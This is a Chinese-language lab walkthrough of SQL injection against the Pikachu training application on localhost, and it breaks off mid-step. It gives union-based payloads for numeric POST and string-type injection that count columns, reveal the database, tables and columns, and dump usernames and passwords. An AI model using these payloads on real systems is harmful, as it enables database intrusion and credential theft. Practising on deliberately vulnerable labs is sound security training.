1- 数字型注入(post)
发到burp里查看发现是post类型
开始用firefox的hackbar来实施注入
既然题目说了是数字型,就不找闭合了,按照下面的步骤进行:
1、找列数 payload: id=1 order by n#&submit=%E6%9F%A5%E8%AF%A2
payload中的n为数字,表示select语句结果的列数,如果猜测的列数小于等于select语句查询结果的列数,会返回本关开始那张图,如果猜测的列数大于select语句查询结果的列数,会返回报错。比如从下面两张图可知select语句查询结果有2列。
2、爆库 payload:id=1 union select database(),2#&submit=%E6%9F%A5%E8%AF%A2
上一步知道了查询结果有两列,再看浏览器的返回结果,有用户名和邮箱,所以估计返回结果的两列都是可显示的,因此爆库的时候随便选一列就好。
3、爆表 payload:id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&submit=%E6%9F%A5%E8%AF%A2
表有httpinfo,member,message,users,xssblind
4、爆列 payload:id=1 union select group_concat(column_name),2 from information_schema.columns where table_name=‘users’#&submit=%E6%9F%A5%E8%AF%A2
5、爆数据 payload:id=1 union select username,password from users#&submit=%E6%9F%A5%E8%AF%A2
2-字符型注入
开始进行sql注入步骤:
1、找列数 payload:http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=tony’ order by 2%23&submit=%E6%9F%A5%E8%AF%A2
payload中的%23就是#,由于在url中#有特殊含义所以要转义
原理和上一关一样,如果猜测的列数小于等于select语句查询结果的列数,会返回本关开始那张图,如果猜测的列数大于select语句查询结果的列数,会返回报错。
最终发现查询结果列数为2
2、爆库 payload:http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=tony’ union select 1,database()%23&submit=%E6%9F%A5%E8%AF%A2
由于tony是不存在的用户,不会返回结果,因此返回的结果只有当前数据库名称,pikachu
3、爆表 payload: payloa